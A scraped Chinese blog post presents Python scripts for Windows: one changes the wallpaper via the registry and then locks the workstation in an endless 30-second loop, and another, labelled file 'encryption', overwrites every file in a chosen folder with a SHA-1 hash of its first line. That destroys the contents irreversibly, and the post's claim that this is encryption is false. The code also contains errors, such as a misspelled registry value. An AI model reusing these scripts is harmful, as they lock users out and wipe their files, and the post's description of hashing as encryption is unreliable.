zoukankan      html  css  js  c++  java
  • python实现更换电脑桌面壁纸,锁屏,文件加密方式

    python实现更换壁纸和锁屏代码

    #控制windows系统
    import win32api,win32con,win32gui
    # 可以利用python去调用dll动态库的包、嵌入式开发
    from ctypes import *
    # 时间 包控制程序的休眠时间
    import time
    def desktop_img(bmp_path):
        # 打开windows注册表  HKEY_CURRENT_USER  并且设置属性
        k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,
                                  "Control panel\Desktop",0,win32con.KEY_SET_VALUE)
        #在HKEY_CURRENT_USER注册表中写入属性值,0表示桌面壁纸居中,2表示拉伸桌面
        win32api.RegSetValueEx(k,"wapaperStyle",0,win32con.REG_SZ,"2")
        win32api.RegSetValueEx(k,"TileWallpaper",0,win32con.REG_SZ,"0")
        #刷新桌面
        win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,bmp_path,win32con.SPIF_SENDWININICHANGE)
    desktop_img("E:\backup\backgroundDefault.jpg")
    # 系统锁定
    '''
    利用死循环去调用windows系统下的一个user32.dll动态库达到锁死状态
    '''
    def lock_windows():
        while True:
            # 调用系统底层下的api ,载入动态库
            user32 = windll.LoadLibrary("user32.dll")
            user32.LockWorkStation()
            time.sleep(30)
    lock_windows()

    python实现文件加密的方式

    # 系统包找文件用
    import  os
    # 文件加密包、标准库
    import hashlib
    
    def lock_file(file):
    #     把path中包含"-"和"-user" 转换成用户目录
        path = os.path.expanduser(file)
    # 返回指定的文件夹包含的文件或者文件夹名字的列表
        for f in os.listdir(path):
            # 删除文件名的空格
            swd = f.strip()
            print(swd)
            # 文件操作, 在文件操作中做加密  rb+ 读写字节
            with open(file + "/" + swd, "rb+") as f:
                pod = f.readline()
                # 加密
                shal = hashlib.sha1(pod)
    #             把加密后的内容转换成十六制字符串值
                osv = shal.hexdigest()
            with open(file +"/" + swd, "wb") as b:
                gs = bytes(osv,encoding="utf-8")
                b.write(gs)
                print("加密完成 : %s" %file)
    lock_file("D:\加密文件目录")
  • 相关阅读:
    作业3-2
    作业3-1
    习题二(8)
    习题二(7)
    习题二(6)
    习题二(5)
    习题二(4)
    实验2-2
    实验2
    第二章 例题2-11
  • 原文地址:https://www.cnblogs.com/pychina/p/11322411.html
Copyright © 2011-2022 走看看